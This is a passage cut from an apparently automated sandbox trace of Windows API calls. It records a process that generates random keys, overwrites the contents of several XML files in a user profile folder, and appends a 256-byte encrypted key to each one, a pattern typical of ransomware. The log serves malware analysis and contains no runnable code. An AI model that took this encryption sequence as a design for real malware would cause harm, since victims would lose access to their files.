hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.491] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.491] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.492] CloseHandle (hObject=0x1844) returned 1 [0173.494] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.494] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.494] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe2c8 [0173.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.495] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x443f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x443f, lpOverlapped=0x0) returned 1 [0173.496] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.496] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5470*, nNumberOfBytesToWrite=0x443f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5470*, lpNumberOfBytesWritten=0x2e1f9bc*=0x443f, lpOverlapped=0x0) returned 1 [0173.497] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x443f [0173.497] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.497] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.497] WriteFile (in: hFile=0x1844, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.497] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.497] CloseHandle (hObject=0x1844) returned 1 [0173.499] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.499] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0173.499] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", dwFileAttributes=0x80) returned 1 [0173.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe180 [0173.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.499] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x433c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x433c, lpOverlapped=0x0) returned 1 [0173.500] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.501] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5370*, nNumberOfBytesToWrite=0x433c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x433c, lpOverlapped=0x0) returned 1 [0173.501] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x433c [0173.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.501] WriteFile (in: hFile=0x1844, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.501] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.502] CloseHandle (hObject=0x1844) returned 1 [0173.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.503] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.504] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe930 [0173.504] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.504] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418c, lpOverlapped=0x0) returned 1 [0173.519] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.519] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418c, lpOverlapped=0x0) returned 1 [0173.519] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418c [0173.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.520] WriteFile (in: hFile=0x1844, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.520] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.520] CloseHandle (hObject=0x1844) returned 1 [0173.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0173.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.522] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", dwFileAttributes=0x80) returned 1 [0173.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe180 [0173.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.522] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418e, lpOverlapped=0x0) returned 1 [0173.529] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.529] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418e, lpOverlapped=0x0) returned 1 [0173.530] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418e [0173.530] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.530] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.530] WriteFile (in: hFile=0x1844, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.530] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.530] CloseHandle (hObject=0x1844) returned 1 [0173.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbee50 [0173.533] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.533] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4473, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4473, lpOverlapped=0x0) returned 1 [0173.537] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.537] WriteFile (in: hFile=0x1844, lpBuffer=0x30d54a8*, nNumberOfBytesToWrite=0x4473, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4473, lpOverlapped=0x0) returned 1 [0173.537] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4473 [0173.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.538] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.538] WriteFile (in: hFile=0x1844, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.538] CloseHandle (hObject=0x1844) returned 1 [0173.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0173.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0173.539] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", dwFileAttributes=0x80) returned 1 [0173.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe7e8 [0173.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.549] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4360, lpOverlapped=0x0) returned 1 [0173.562] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.562] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5390*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5390*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4360, lpOverlapped=0x0) returned 1 [0173.562] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4360 [0173.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.563] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.563] WriteFile (in: hFile=0x1844, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.563] CloseHandle (hObject=0x1844) returned 1 [0173.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.568] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe2c8 [0173.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.569] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0173.571] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.571] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51b8*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0173.571] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4187 [0173.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.572] WriteFile (in: hFile=0x1844, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.572] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.572] CloseHandle (hObject=0x1844) returned 1 [0173.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0173.573] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", dwFileAttributes=0x80) returned 1 [0173.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbea78 [0173.573] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.574] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4180, lpOverlapped=0x0) returned 1 [0173.589] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-16768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.589] WriteFile (in: hFile=0x1844, lpBuffer=0x30d51b0*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4180, lpOverlapped=0x0) returned 1 [0173.589] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4180 [0173.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.589] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.590] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.590] CloseHandle (hObject=0x1844) returned 1 [0173.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0173.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", dwFileAttributes=0x80) returned 1 [0173.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe558 [0173.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.592] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x441b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x441b, lpOverlapped=0x0) returned 1 [0173.593] SetFilePointer (in: hFile=0x1844, lDistanceToMove=-17435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.593] WriteFile (in: hFile=0x1844, lpBuffer=0x30d5450*, nNumberOfBytesToWrite=0x441b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5450*, lpNumberOfBytesWritten=0x2e1f9bc*=0x441b, lpOverlapped=0x0) returned 1 [0173.593] SetFilePointer (in: hFile=0x1844, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x441b [0173.594] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.594] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.594] WriteFile (in: hFile=0x1844, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.594] WriteFile (in: hFile=0x1844, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.594] CloseHandle (hObject=0x1844) returned 1 [0173.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0173.596] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", dwFileAttributes=0x80) returned 1 [0173.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x2fbe558 [0173.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x56c6b8 [0173.596] ReadFile (in: hFile=0x1844, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, 